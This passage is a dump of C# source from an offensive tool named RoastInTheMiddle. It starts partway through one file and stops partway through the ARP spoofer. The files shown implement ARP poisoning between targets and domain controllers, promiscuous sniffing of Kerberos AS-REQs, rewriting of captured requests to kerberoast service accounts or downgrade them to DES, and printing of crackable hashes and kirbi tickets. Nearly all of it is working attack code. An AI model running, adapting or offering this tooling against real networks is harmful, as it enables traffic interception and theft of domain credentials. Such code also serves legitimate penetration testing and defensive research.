(ILiveDevice)Program.shared["capture_device"]; 24 | 25 | while (Program.isRunning) 26 | { 27 | try 28 | { 29 | var reassemble = (Dictionary>)Program.shared["reassemble"]; 30 | List remove = new List(); 31 | foreach (var key in reassemble.Keys) 32 | { 33 | byte[] recordData = null; 34 | int recordSize = 0; 35 | int position = 0; 36 | EthernetPacket firstEthPacket = null; 37 | uint lastSize = 0; 38 | foreach (var packet in reassemble[key]) 39 | { 40 | byte[] data = null; 41 | try 42 | { 43 | var ethPacket = packet.Value; 44 | if (firstEthPacket == null) 45 | { 46 | firstEthPacket = ethPacket; 47 | } 48 | var ipPacket = ethPacket.Extract(); 49 | var tcpPacket = ipPacket.Extract(); 50 | byte[] packetData = tcpPacket.PayloadData; 51 | if (recordData == null) 52 | { 53 | BinaryReader br = new BinaryReader(new MemoryStream(packetData)); 54 | 55 | int recordMark = IPAddress.NetworkToHostOrder(br.ReadInt32()); 56 | recordSize = recordMark & 0x7fffffff; 57 | 58 | recordData = new byte[recordSize]; 59 | 60 | if (packetData.Length > 4) 61 | { 62 | data = br.ReadBytes(packetData.Length - 4); 63 | } 64 | } 65 | else 66 | { 67 | data = packetData; 68 | } 69 | Buffer.BlockCopy(data, 0, recordData, position, data.Length); 70 | position += data.Length; 71 | lastSize = (uint)data.Length; 72 | } 73 | catch (Exception ex) 74 | { 75 | if (Program.verbose) 76 | { 77 | Console.WriteLine($"[!] POISONIER: MORE ERROR: {ex.Message}\n{ex.StackTrace}\n\n"); 78 | } 79 | } 80 | } 81 | 82 | if (recordSize == recordData.Length) 83 | { 84 | try 85 | { 86 | AS_REQ asReq = new AS_REQ(recordData); 87 | 88 | Console.WriteLine($"[*] SNIFFER: Got AS-REQ for user {string.Join("@", asReq.req_body.cname.name_string)}@{asReq.req_body.realm} to service {string.Join("/", asReq.req_body.sname.name_string)}"); 89 | 90 | // only use AS-REQ's with preauth, accounts without preauth don't require MitM 91 | foreach (var padata in asReq.padata) 92 | { 93 | if (padata.type is Interop.PADATA_TYPE.ENC_TIMESTAMP) 94 | { 95 | Program.shared["captured"] = asReq; 96 | } 97 | } 98 | } 99 | catch (Exception ex) 100 | { 101 | if (Program.verbose) 102 | { 103 | Console.WriteLine($"[!] POISONIER: SEND ERROR: {ex.Message}\n{ex.StackTrace}\n\n"); 104 | } 105 | } 106 | remove.Add(key); 107 | } 108 | } 109 | foreach (string key in remove) 110 | { 111 | ((Dictionary>)Program.shared["reassemble"]).Remove(key); 112 | } 113 | } 114 | catch (Exception ex) 115 | { 116 | if (Program.verbose) 117 | { 118 | Console.WriteLine($"[!] POISONIER: Error: {ex.Message}\n{ex.StackTrace}\n\n"); 119 | } 120 | } 121 | Thread.Sleep(10); 122 | } 123 | } 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/RitM.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Threading.Tasks; 4 | using System.Threading; 5 | using System.Net; 6 | using System.Net.NetworkInformation; 7 | using SharpPcap; 8 | 9 | namespace RoastInTheMiddle.Lib 10 | { 11 | public class RitM 12 | { 13 | public static async Task Run(string listenIP, 14 | List targets, 15 | List dcIPs, 16 | List spns) 17 | { 18 | var tasks = new List(); 19 | Program.shared["captured"] = null; 20 | Program.shared["spns"] = spns; 21 | Program.shared["dcs"] = dcIPs; 22 | Program.shared["capture_device"] = null; 23 | Program.shared["spoof"] = false; 24 | Program.shared["targets"] = targets; 25 | Program.shared["resolved"] = new Dictionary(); 26 | Program.shared["reassemble"] = new Dictionary>(); 27 | 28 | if (!SetCaptureDevice(listenIP)) 29 | { 30 | Console.WriteLine($"[X] Unable to capture on device with IP {listenIP}"); 31 | return; 32 | } 33 | 34 | if (Program.command.Equals("kerberoast")) 35 | { 36 | Console.WriteLine($"[*] Loaded {spns.Count} SPNs to try"); 37 | } 38 | 39 | Console.WriteLine("[*] Starting sniffer"); 40 | var sniffer = Task.Run(() => Sniffer.Start(listenIP)); 41 | tasks.Add(sniffer); 42 | 43 | Console.WriteLine("[*] Starting reassembler"); 44 | var reassembler = Task.Run(() => Reassembler.Reassemble()); 45 | tasks.Add(reassembler); 46 | 47 | if (targets != null) 48 | { 49 | Thread.Sleep(100); 50 | Console.WriteLine("[*] Starting ARP spoofer"); 51 | var spoofer = Task.Run(() => Spoofer.Start(targets)); 52 | tasks.Add(spoofer); 53 | } 54 | 55 | Console.WriteLine("[*] Starting roaster"); 56 | var roaster = Task.Run(() => Roaster.RitMRoaster()); 57 | tasks.Add(roaster); 58 | 59 | await Task.WhenAll(tasks); 60 | } 61 | 62 | private static bool SetCaptureDevice(string listenIP) 63 | { 64 | var devices = CaptureDeviceList.Instance; 65 | foreach (var dev in devices) 66 | { 67 | var devInfoParts = dev.ToString().Split('\n'); 68 | foreach (var infoPart in devInfoParts) 69 | { 70 | if (infoPart.StartsWith("Addr:")) 71 | { 72 | if (infoPart.Contains(listenIP)) 73 | { 74 | Program.shared["capture_device"] = dev; 75 | } 76 | } 77 | } 78 | } 79 | 80 | return Program.shared["capture_device"] != null; 81 | } 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Roaster.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Net; 5 | using System.Net.Sockets; 6 | using System.Threading; 7 | using Asn1; 8 | using RoastInTheMiddle.Lib.Krb; 9 | 10 | namespace RoastInTheMiddle.Lib 11 | { 12 | public class Roaster 13 | { 14 | private static IPAddress domainControllerIP { get; set; } 15 | 16 | private static Random rnd = new Random(); 17 | 18 | private static byte[] knownPlainText { get; set; } 19 | 20 | public static void RitMRoaster() 21 | { 22 | int r = rnd.Next(((List)Program.shared["dcs"]).Count); 23 | domainControllerIP = ((List)Program.shared["dcs"])[r]; 24 | 25 | if (Program.verbose) 26 | { 27 | Console.WriteLine($"[*] ROASTER: Using DC with IP {domainControllerIP} for roasting"); 28 | } 29 | 30 | if (Program.command.Equals("sessionroast")) 31 | { 32 | knownPlainText = GetPlainText(); 33 | if (knownPlainText == null) 34 | { 35 | Console.WriteLine("[X] Unable to get a U2U ticket to retrieve the known plaintext, will be unable to generate crackable hashes"); 36 | Program.isRunning = false; 37 | return; 38 | } 39 | else 40 | { 41 | Console.WriteLine($"[*] Got usable known plain text: {Helpers.ByteArrayToString(knownPlainText)}"); 42 | } 43 | } 44 | 45 | while (Program.isRunning && (((((List)Program.shared["spns"]).Count > 0) && Program.command.Equals("kerberoast")) || !Program.command.Equals("kerberoast"))) 46 | { 47 | if (Program.shared["captured"] != null) 48 | { 49 | if (Program.verbose) 50 | { 51 | Console.WriteLine($"[*] ROASTER: Starting roast"); 52 | } 53 | if (Program.command.Equals("kerberoast")) 54 | { 55 | PerformKerberoast(); 56 | } 57 | else if (Program.command.Equals("sessionroast")) 58 | { 59 | PerformSessionroast(); 60 | } 61 | } 62 | else 63 | { 64 | Thread.Sleep(100); 65 | } 66 | } 67 | if (Program.isRunning && Program.command.Equals("kerberoast")) 68 | { 69 | Console.WriteLine("[*] Tried all provided SPNs, roaster exiting..."); 70 | Program.isRunning = false; 71 | } 72 | else 73 | { 74 | Console.WriteLine("[*] User forced close, roaster exiting..."); 75 | } 76 | } 77 | 78 | private static void PerformKerberoast() 79 | { 80 | for (int i = ((List)Program.shared["spns"]).Count - 1; i >= 0; i--) 81 | { 82 | string spn = ((List)Program.shared["spns"])[i]; 83 | AS_REQ asReq = (AS_REQ)Program.shared["captured"]; 84 | asReq.req_body.sname.name_string = new List(); 85 | 86 | if (Program.verbose) 87 | { 88 | Console.WriteLine($"[*] ROASTER: Rewriting sname to {spn}"); 89 | } 90 | 91 | foreach (var part in spn.Split('/')) 92 | { 93 | asReq.req_body.sname.name_string.Add(part); 94 | } 95 | 96 | Interop.KERBEROS_ERROR response = Interop.KERBEROS_ERROR.UNKNOWN; 97 | try 98 | { 99 | response = SendASREQ(asReq.Encode().Encode(), spn); 100 | } 101 | catch (Exception ex) 102 | { 103 | if (Program.verbose) 104 | { 105 | Console.WriteLine($"[!] ROASTER: Unknown error occured: {ex.Message}\n{ex.StackTrace}\n\n"); 106 | } 107 | } 108 | if (response != Interop.KERBEROS_ERROR.UNKNOWN && response != Interop.KERBEROS_ERROR.KDC_ERR_NONE && 109 | response != Interop.KERBEROS_ERROR.KDC_ERR_S_PRINCIPAL_UNKNOWN && response != Interop.KERBEROS_ERROR.SUCCESS) 110 | { 111 | Console.WriteLine($"[!] Error other than S_PRINCIPAL_UNKNOWN returned ({response}), waiting for new AS-REQ"); 112 | Program.shared["captured"] = null; 113 | break; 114 | } 115 | else if (response == Interop.KERBEROS_ERROR.SUCCESS || response == Interop.KERBEROS_ERROR.KDC_ERR_S_PRINCIPAL_UNKNOWN) 116 | { 117 | ((List)Program.shared["spns"]).RemoveAt(i); 118 | } 119 | } 120 | } 121 | 122 | private static void PerformSessionroast() 123 | { 124 | AS_REQ asReq = (AS_REQ)Program.shared["captured"]; 125 | asReq.req_body.etypes = new List(); 126 | 127 | if (Program.verbose) 128 | { 129 | Console.WriteLine($"[*] ROASTER: Modifying request supported etypes to only include DES-CBC-MD5"); 130 | } 131 | 132 | asReq.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_md5); 133 | 134 | Interop.KERBEROS_ERROR response = Interop.KERBEROS_ERROR.UNKNOWN; 135 | try 136 | { 137 | response = SendASREQ(asReq.Encode().Encode(), null, asReq); 138 | } 139 | catch (Exception ex) 140 | { 141 | if (Program.verbose) 142 | { 143 | Console.WriteLine($"[!] ROASTER: Unknown error occured: {ex.Message}\n{ex.StackTrace}\n\n"); 144 | } 145 | } 146 | 147 | if (response == Interop.KERBEROS_ERROR.KDC_ERR_ETYPE_NOTSUPP) 148 | { 149 | Console.WriteLine($"[X] ROASTER: Domain controller ({domainControllerIP}) does not support DES-CBC-MD5, exiting..."); 150 | Program.isRunning = false; 151 | return; 152 | } 153 | 154 | Program.shared["captured"] = null; 155 | } 156 | 157 | public static Interop.KERBEROS_ERROR SendASREQ(byte[] asReqBytes, string spn = null, AS_REQ asReq = null) 158 | { 159 | var ret = Interop.KERBEROS_ERROR.UNKNOWN; 160 | 161 | byte[] responseRecord = SendBytes(asReqBytes); 162 | if (responseRecord != null) 163 | { 164 | AsnElt responseAsn; 165 | try 166 | { 167 | responseAsn = AsnElt.Decode(responseRecord, false); 168 | 169 | } 170 | catch 171 | { 172 | Console.WriteLine("[!] ROASTER: Response from DC couldn't be decoded"); 173 | return ret; 174 | } 175 | 176 | int responseTag = responseAsn.TagValue; 177 | if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.AS_REP) 178 | { 179 | AS_REP rep = new AS_REP(responseAsn); 180 | ret = Interop.KERBEROS_ERROR.SUCCESS; 181 | 182 | if (Program.command.Equals("kerberoast")) 183 | { 184 | PrintKerberoastHash(rep, spn); 185 | } 186 | else if (Program.command.Equals("sessionroast")) 187 | { 188 | PrintSessionroastHash(rep, asReq); 189 | } 190 | } 191 | else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) 192 | { 193 | KRB_ERROR error = new KRB_ERROR(responseAsn); 194 | ret = (Interop.KERBEROS_ERROR)error.error_code; 195 | if (Program.verbose) 196 | { 197 | Console.WriteLine($"[*] Got back error: {(Interop.KERBEROS_ERROR)error.error_code}"); 198 | } 199 | } 200 | } 201 | 202 | return ret; 203 | } 204 | 205 | private static byte[] SendBytes(byte[] data) 206 | { 207 | var ipEndPoint = new IPEndPoint(domainControllerIP, 88); 208 | var client = new TcpClient(ipEndPoint.AddressFamily); 209 | client.Client.Ttl = 128; 210 | client.Connect(ipEndPoint); 211 | 212 | if (Program.verbose) 213 | { 214 | Console.WriteLine($"[*] ROASTER: Connected to {domainControllerIP}:88"); 215 | } 216 | 217 | BinaryReader sr = new BinaryReader(client.GetStream()); 218 | BinaryWriter sw = new BinaryWriter(client.GetStream()); 219 | 220 | if (Program.verbose) 221 | { 222 | Console.WriteLine("[*] ROASTER: Sending request to DC"); 223 | } 224 | 225 | try 226 | { 227 | sw.Write(IPAddress.HostToNetworkOrder(data.Length)); 228 | sw.Write(data); 229 | } 230 | catch (Exception ex) 231 | { 232 | Console.WriteLine($"[X] ROASTER: Error sending request to DC: {ex.Message}"); 233 | return null; 234 | } 235 | 236 | int recordMark; 237 | try 238 | { 239 | recordMark = IPAddress.NetworkToHostOrder(sr.ReadInt32()); 240 | } 241 | catch (Exception ex) 242 | { 243 | Console.WriteLine($"[X] ROASTER: Error reading record mark from DC: {ex.Message}"); 244 | return null; 245 | } 246 | int recordSize = recordMark & 0x7fffffff; 247 | 248 | byte[] ret = null; 249 | if ((recordMark & 0x80000000) <= 0) 250 | { 251 | try 252 | { 253 | ret = sr.ReadBytes(recordSize); 254 | } 255 | catch (Exception ex) 256 | { 257 | Console.WriteLine($"[X] ROASTER: Error reading record from DC: {ex.Message}"); 258 | return null; 259 | } 260 | } 261 | 262 | client.Close(); 263 | return ret; 264 | } 265 | 266 | private static void PrintKerberoastHash(AS_REP rep, string spn) 267 | { 268 | int encType = rep.ticket.enc_part.etype; 269 | string sname = string.Join("/", rep.ticket.sname.name_string); 270 | string cipherText = BitConverter.ToString(rep.ticket.enc_part.cipher).Replace("-", string.Empty); 271 | 272 | string hash; 273 | if ((encType == 18) || (encType == 17)) 274 | { 275 | int checksumStart = cipherText.Length - 24; 276 | hash = String.Format("$krb5tgs${0}${1}${2}$*{3}*${4}${5}", encType, spn, rep.ticket.realm, sname, cipherText.Substring(checksumStart), cipherText.Substring(0, checksumStart)); 277 | } 278 | else 279 | { 280 | hash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, "USER", rep.ticket.realm, sname, cipherText.Substring(0, 32), cipherText.Substring(32)); 281 | } 282 | 283 | Console.WriteLine($"[*] Hash for service {spn}:"); 284 | Console.WriteLine(hash); 285 | Console.WriteLine($"{Environment.NewLine}"); 286 | } 287 | 288 | private static void PrintSessionroastHash(AS_REP rep, AS_REQ asReq) 289 | { 290 | Ticket repTicket = rep.ticket; 291 | string clientUser = Program.tgt.enc_part.ticket_info[0].pname.name_string[0]; 292 | string domain = Program.tgt.enc_part.ticket_info[0].prealm; 293 | Ticket tgt = Program.tgt.tickets[0]; 294 | byte[] clientKey = Program.tgt.enc_part.ticket_info[0].key.keyvalue; 295 | Interop.KERB_ETYPE paEType = (Interop.KERB_ETYPE)Program.tgt.enc_part.ticket_info[0].key.keytype; 296 | 297 | byte[] tgsBytes = TGS_REQ.NewTGSReq(clientUser, domain, asReq.req_body.cname.name_string[0], tgt, clientKey, paEType, repTicket); 298 | byte[] responseRecord = SendBytes(tgsBytes); 299 | 300 | if (responseRecord != null) 301 | { 302 | AsnElt responseAsn; 303 | try 304 | { 305 | responseAsn = AsnElt.Decode(responseRecord); 306 | } 307 | catch 308 | { 309 | Console.WriteLine("[!] ROASTER: Response from DC couldn't be decoded for the U2U request"); 310 | return; 311 | } 312 | 313 | int responseTag = responseAsn.TagValue; 314 | if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) 315 | { 316 | TGS_REP u2u = new TGS_REP(responseAsn); 317 | 318 | Ticket u2uTicket = u2u.ticket; 319 | Console.WriteLine($"[*] Hash DES session key:"); 320 | Console.WriteLine($" {asReq.req_body.cname.name_string[0]} : {Crypto.FormDESHash(Helpers.ByteArrayToString(u2uTicket.enc_part.cipher), knownPlainText)}"); 321 | 322 | PrintKrbCred(asReq, rep); 323 | } 324 | else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) 325 | { 326 | KRB_ERROR error = new KRB_ERROR(responseAsn); 327 | if (Program.verbose) 328 | { 329 | Console.WriteLine($"[*] Got back error for the U2U request: {(Interop.KERBEROS_ERROR)error.error_code}"); 330 | } 331 | } 332 | } 333 | } 334 | 335 | private static void PrintKrbCred(AS_REQ asReq, AS_REP asRep) 336 | { 337 | KRB_CRED cred = new KRB_CRED(); 338 | 339 | // add the ticket 340 | cred.tickets.Add(asRep.ticket); 341 | 342 | // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart 343 | 344 | KrbCredInfo info = new KrbCredInfo(); 345 | 346 | // [1] prealm (domain) 347 | info.prealm = asRep.crealm; 348 | 349 | // [2] pname (user) 350 | info.pname.name_type = asRep.cname.name_type; 351 | info.pname.name_string = asRep.cname.name_string; 352 | 353 | // [8] srealm 354 | info.srealm = asRep.crealm; 355 | 356 | // [9] sname 357 | info.sname.name_type = asReq.req_body.sname.name_type; 358 | info.sname.name_string = asReq.req_body.sname.name_string; 359 | 360 | // add the ticket_info into the cred object 361 | cred.enc_part.ticket_info.Add(info); 362 | 363 | byte[] kirbiBytes = cred.Encode().Encode(); 364 | 365 | string kirbiString = Convert.ToBase64String(kirbiBytes); 366 | 367 | Console.WriteLine($"[*] Kirbi missing session key:"); 368 | if (Program.wrap) 369 | { 370 | // display the .kirbi base64, columns of 80 chararacters 371 | foreach (string line in Helpers.Split(kirbiString, 80)) 372 | { 373 | Console.WriteLine(" {0}", line); 374 | } 375 | } 376 | else 377 | { 378 | Console.WriteLine(" {0}", kirbiString); 379 | } 380 | Console.WriteLine($"{Environment.NewLine}"); 381 | } 382 | 383 | private static byte[] GetPlainText() 384 | { 385 | Ticket tgt = Program.tgt.tickets[0]; 386 | string clientUser = Program.tgt.enc_part.ticket_info[0].pname.name_string[0]; 387 | string domain = Program.tgt.enc_part.ticket_info[0].prealm; 388 | byte[] clientKey = Program.tgt.enc_part.ticket_info[0].key.keyvalue; 389 | Interop.KERB_ETYPE paEType = (Interop.KERB_ETYPE)Program.tgt.enc_part.ticket_info[0].key.keytype; 390 | 391 | byte[] tgsBytes = TGS_REQ.NewTGSReq(clientUser, domain, clientUser, tgt, clientKey, paEType, tgt); 392 | byte[] responseRecord = SendBytes(tgsBytes); 393 | 394 | if (responseRecord != null) 395 | { 396 | AsnElt responseAsn; 397 | try 398 | { 399 | responseAsn = AsnElt.Decode(responseRecord); 400 | } 401 | catch 402 | { 403 | Console.WriteLine("[!] ROASTER: Response from DC couldn't be decoded for the U2U request"); 404 | return null; 405 | } 406 | 407 | int responseTag = responseAsn.TagValue; 408 | if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) 409 | { 410 | TGS_REP u2u = new TGS_REP(responseAsn); 411 | 412 | Ticket u2uTicket = u2u.ticket; 413 | var decryptedTicket = Crypto.KerberosDecrypt((Interop.KERB_ETYPE)u2uTicket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, clientKey, u2uTicket.enc_part.cipher); 414 | string plainText = Helpers.ByteArrayToString(decryptedTicket).Substring(0, 16); 415 | return Helpers.StringToByteArray(plainText); 416 | } 417 | else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) 418 | { 419 | KRB_ERROR error = new KRB_ERROR(responseAsn); 420 | if (Program.verbose) 421 | { 422 | Console.WriteLine($"[X] Got back error for the U2U request: {(Interop.KERBEROS_ERROR)error.error_code}"); 423 | } 424 | return null; 425 | } 426 | else 427 | { 428 | if (Program.verbose) 429 | { 430 | Console.WriteLine($"[X] Unable to decode response from DC!"); 431 | } 432 | return null; 433 | } 434 | } 435 | 436 | return null; 437 | } 438 | } 439 | } 440 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Sniffer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using SharpPcap; 5 | using RoastInTheMiddle.Lib.Krb; 6 | using System.Collections.Generic; 7 | using System.Net.NetworkInformation; 8 | using System.Text.RegularExpressions; 9 | 10 | namespace RoastInTheMiddle.Lib 11 | { 12 | public class Sniffer 13 | { 14 | private static IPAddress localIP { get; set; } 15 | 16 | private static IPAddress dcIP { get; set; } 17 | 18 | private static IPAddress target { get; set; } 19 | 20 | private static ILiveDevice captureDevice { get; set; } 21 | 22 | private static Dictionary connections { get; set; } 23 | 24 | public static void Start(string snifferIP) 25 | { 26 | connections = new Dictionary(); 27 | 28 | if (Program.shared["capture_device"] == null) 29 | { 30 | throw new System.Exception("Capture device not connected!"); 31 | } 32 | 33 | captureDevice = (ILiveDevice)Program.shared["capture_device"]; 34 | localIP = IPAddress.Parse(snifferIP); 35 | Random rnd = new Random(); 36 | 37 | int r = rnd.Next(((List)Program.shared["dcs"]).Count); 38 | dcIP = ((List)Program.shared["dcs"])[r]; 39 | 40 | if (Program.verbose) 41 | { 42 | Console.WriteLine($"[*] SNIFFER: Using interface with IP: {localIP} and MAC address: {captureDevice.MacAddress}"); 43 | } 44 | 45 | captureDevice.OnPacketArrival += new PacketArrivalEventHandler(ProcessPackets); 46 | 47 | int readTimeoutMilliseconds = 1000; 48 | captureDevice.Open(DeviceModes.Promiscuous, readTimeoutMilliseconds); 49 | 50 | // filter to capture traffic to/from mitm targets 51 | string macAddress = Regex.Replace(captureDevice.MacAddress.ToString(), ".{2}", "$0:"); 52 | string filter = $"ip and not host {localIP} and ether dst {macAddress.Substring(0,macAddress.Length - 1)} and ("; 53 | filter += string.Format("host {0}", string.Join(" or host ", (List)Program.shared["dcs"])); 54 | filter += string.Format(" or host {0})", string.Join(" or host ", (List)Program.shared["targets"])); 55 | if (Program.verbose) 56 | { 57 | Console.WriteLine($"[*] SNIFFER: Using filter: {filter}"); 58 | } 59 | captureDevice.Filter = filter; 60 | 61 | captureDevice.StartCapture(); 62 | } 63 | 64 | public static void ProcessPackets(object sender, PacketCapture e) 65 | { 66 | bool forwardPacket = true; 67 | var rawPacket = e.GetPacket(); 68 | 69 | var packet = PacketDotNet.Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data); 70 | 71 | var ethPacket = packet.Extract(); 72 | var ipPacket = packet.Extract(); 73 | 74 | byte[] packetData = null; 75 | ushort destPort = 0; 76 | ushort srcPort = 0; 77 | if (Program.shared["captured"] == null && ipPacket.Protocol is PacketDotNet.ProtocolType.Tcp) 78 | { 79 | var tcpPacket = packet.Extract(); 80 | if (tcpPacket.HasPayloadData) 81 | { 82 | if (tcpPacket.HasPayloadData) 83 | { 84 | packetData = tcpPacket.PayloadData; 85 | } 86 | destPort = tcpPacket.DestinationPort; 87 | srcPort = tcpPacket.SourcePort; 88 | } 89 | } 90 | if (Program.shared["captured"] == null && ipPacket.Protocol is PacketDotNet.ProtocolType.Udp) 91 | { 92 | var udpPacket = packet.Extract(); 93 | destPort = udpPacket.DestinationPort; 94 | srcPort = udpPacket.SourcePort; 95 | if (udpPacket.HasPayloadData) 96 | { 97 | packetData = udpPacket.PayloadData; 98 | } 99 | } 100 | 101 | if (Program.shared["captured"] == null && (destPort == 88 || srcPort == 88) && packetData != null && packetData.Length > 3) 102 | { 103 | byte[] recordData = null; 104 | try 105 | { 106 | BinaryReader br = new BinaryReader(new MemoryStream(packetData)); 107 | 108 | int recordMark = IPAddress.NetworkToHostOrder(br.ReadInt32()); 109 | int recordSize = recordMark & 0x7fffffff; 110 | 111 | if (recordSize == (packetData.Length - 4)) 112 | { 113 | try 114 | { 115 | recordData = br.ReadBytes(recordSize); 116 | } 117 | catch 118 | { 119 | recordData = null; 120 | } 121 | } 122 | else if (destPort == 88 && ipPacket.Protocol is PacketDotNet.ProtocolType.Tcp) 123 | { 124 | if (Program.verbose) 125 | { 126 | Console.WriteLine($"[*] SNIFFER: Storing packet from {srcPort} to {destPort} for later reassembly"); 127 | } 128 | var tcpPacket = packet.Extract(); 129 | string key = $"{ipPacket.SourceAddress}:{srcPort}|{ipPacket.DestinationAddress}:{destPort}"; 130 | if (!((Dictionary>)Program.shared["reassemble"]).ContainsKey(key)) 131 | { 132 | ((Dictionary>)Program.shared["reassemble"]).Add(key, new SortedDictionary()); 133 | } 134 | ((Dictionary>)Program.shared["reassemble"])[key].Add(tcpPacket.SequenceNumber, ethPacket); 135 | recordData = null; 136 | } 137 | } 138 | catch (Exception ex) 139 | { 140 | if (Program.verbose) 141 | { 142 | Console.WriteLine($"[!] SNIFFER: Error: {ex.Message}\n{ex.StackTrace}\n\n"); 143 | } 144 | } 145 | 146 | if (recordData != null && Program.shared["captured"] == null && destPort == 88) 147 | { 148 | try 149 | { 150 | AS_REQ asReq = new AS_REQ(recordData); 151 | 152 | // only use AS-REQ's with preauth, accounts without preauth don't require MitM 153 | foreach (var padata in asReq.padata) 154 | { 155 | if (padata.type is Interop.PADATA_TYPE.ENC_TIMESTAMP) 156 | { 157 | Program.shared["captured"] = asReq; 158 | 159 | Console.WriteLine($"[*] SNIFFER: Got AS-REQ for user {string.Join("@", asReq.req_body.cname.name_string)}@{asReq.req_body.realm} to service {string.Join("/", asReq.req_body.sname.name_string)}"); 160 | } 161 | } 162 | } 163 | catch (Exception ex) 164 | { 165 | if (Program.verbose) 166 | { 167 | Console.WriteLine($"[!] SNIFFER: Error parsing: {ex.Message}\n{ex.StackTrace}\n\n"); 168 | } 169 | } 170 | } 171 | } 172 | 173 | if (forwardPacket) 174 | { 175 | ethPacket.SourceHardwareAddress = captureDevice.MacAddress; 176 | if (((Dictionary)Program.shared["resolved"]).ContainsKey(ipPacket.DestinationAddress)) 177 | { 178 | ethPacket.DestinationHardwareAddress = ((Dictionary)Program.shared["resolved"])[ipPacket.DestinationAddress]; 179 | ethPacket.UpdateCalculatedValues(); 180 | 181 | captureDevice.SendPacket(ethPacket); 182 | } 183 | } 184 | } 185 | } 186 | } 187 | -------------------------------------------------------------------------------- /RoastInTheMiddle/Lib/Spoofer.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Net; 4 | using System.Net.NetworkInformation; 5 | using System.Threading; 6 | using System.Threading.Tasks; 7 | using PacketDotNet; 8 | using SharpPcap; 9 | 10 | namespace RoastInTheMiddle.Lib 11 | { 12 | public class Spoofer 13 | { 14 | private static ILiveDevice captureDevice { get; set; } 15 | 16 | private static Dictionary targetAddresses { get; set; } 17 | 18 | private static Dictionary dcAddresses { get; set; } 19 | 20 | public static async Task Start(List targets) 21 | { 22 | targetAddresses = new Dictionary(); 23 | dcAddresses = new Dictionary(); 24 | 25 | if (Program.shared["capture_device"] == null) 26 | { 27 | throw new System.Exception("Capture device not connected!"); 28 | } 29 | 30 | captureDevice = (ILiveDevice)Program.shared["capture_device"]; 31 | 32 | if (Program.shared["dcs"] == null || targets == null) 33 | { 34 | Console.WriteLine("[X] Unable to ARP spoof because either no DCs or no targets were provided"); 35 | Program.isRunning = false; 36 | return; 37 | } 38 | 39 | if (Program.verbose) 40 | { 41 | Console.WriteLine($"[*] SPOOFER: Resolving {targets.Count} target(s) and {((List)Program.shared["dcs"]).Count} DC(s)"); 42 | } 43 | 44 | // resolve targets 45 | foreach (var target in targets) 46 | { 47 | try 48 | { 49 | PhysicalAddress addr = GetPhysicalAddress(target); 50 | if (addr == null) 51 | { 52 | Console.WriteLine($"[!] Unable to get hardware address for {target}, skipping."); 53 | } 54 | else 55 | { 56 | if (Program.verbose) 57 | { 58 | Console.WriteLine($"[*] SPOOFER: {target} resolved to {addr}"); 59 | } 60 | targetAddresses[target] = addr; 61 | ((Dictionary)Program.shared["resolved"])[target] = addr; 62 | } 63 | } 64 | catch 65 | { 66 | Console.WriteLine($"[!] Target IP {target} not valid, skipping."); 67 | } 68 | } 69 | 70 | // resolve dc's 71 | foreach (var dc in (List)Program.shared["dcs"]) 72 | { 73 | try 74 | { 75 | PhysicalAddress addr = GetPhysicalAddress(dc); 76 | if (addr == null) 77 | { 78 | Console.WriteLine($"[!] Unable to get hardware address for {dc}, skipping."); 79 | } 80 | else 81 | { 82 | if (Program.verbose) 83 | { 84 | Console.WriteLine($"[*] SPOOFER: {dc} resolved to {addr}"); 85 | } 86 | dcAddresses[dc] = addr; 87 | ((Dictionary)Program.shared["resolved"])[dc] = addr; 88 | } 89 | } 90 | catch 91 | { 92 | Console.WriteLine($"[!] DC IP {dc} not valid, skipping."); 93 | } 94 | } 95 | 96 | if (targetAddresses.Count == 0 || dcAddresses.Count == 0) 97 | { 98 | Console.WriteLine($"[X] Can't continue without at least 1 valid DC ({dcAddresses.Count}) and target ({targetAddresses.Count})"); 99 | Program.isRunning = false; 100 | return; 101 | } 102 | 103 | if (Program.verbose) 104 | { 105 | Console.WriteLine($"[*] SPOOFER: Starting target and DC spoofers"); 106 | } 107 | var targetSpoofer = Task.Run(() => PerformTargetSpoof()); 108 | var dcSpoofer = Task.Run(() => PerformDCSpoof()); 109 | 110 | var spoofers = new List(); 111 | spoofers.Add(targetSpoofer); 112 | spoofers.Add(dcSpoofer); 113 | 114 | await Task.WhenAll(spoofers); 115 | } 116 | 117 | private static void PerformTargetSpoof() 118 | { 119 | List arpPackets = new List(); 120 | List recoveryPackets = new List(); 121 | foreach (var targetIP in targetAddresses.Keys) 122 | { 123 | foreach (var dcIP in dcAddresses.Keys) 124 | { 125 | Packet arp = BuildArpResponse(targetIP, dcIP, targetAddresses[targetIP]); 126 | arpPackets.Add(arp); 127 | 128 | Packet arp2 = BuildArpRecovery(targetIP, dcIP, targetAddresses[targetIP], dcAddresses[dcIP]); 129 | recoveryPackets.Add(arp2); 130 | } 131 | } 132 | 133 | while (Program.isRunning) 134 | { 135 | foreach (var arp in arpPackets) 136 | { 137 | captureDevice.SendPacket(arp); 138 | } 139 | Thread.Sleep(100); 140 | } 141 | 142 | // send 10 recovery arp packets to clean up 143 | Console.WriteLine("[*] TARGET SPOOFER: Stopping ARP pioson for targets"); 144 | for (int i = 0; i < 10; i++) 145 | { 146 | foreach (var arp in recoveryPackets) 147 | { 148 | captureDevice.SendPacket(arp); 149 | } 150 | Thread.Sleep(10); 151 | } 152 | } 153 | 154 | private static void PerformDCSpoof() 155 | { 156 | List arpPackets = new List(); 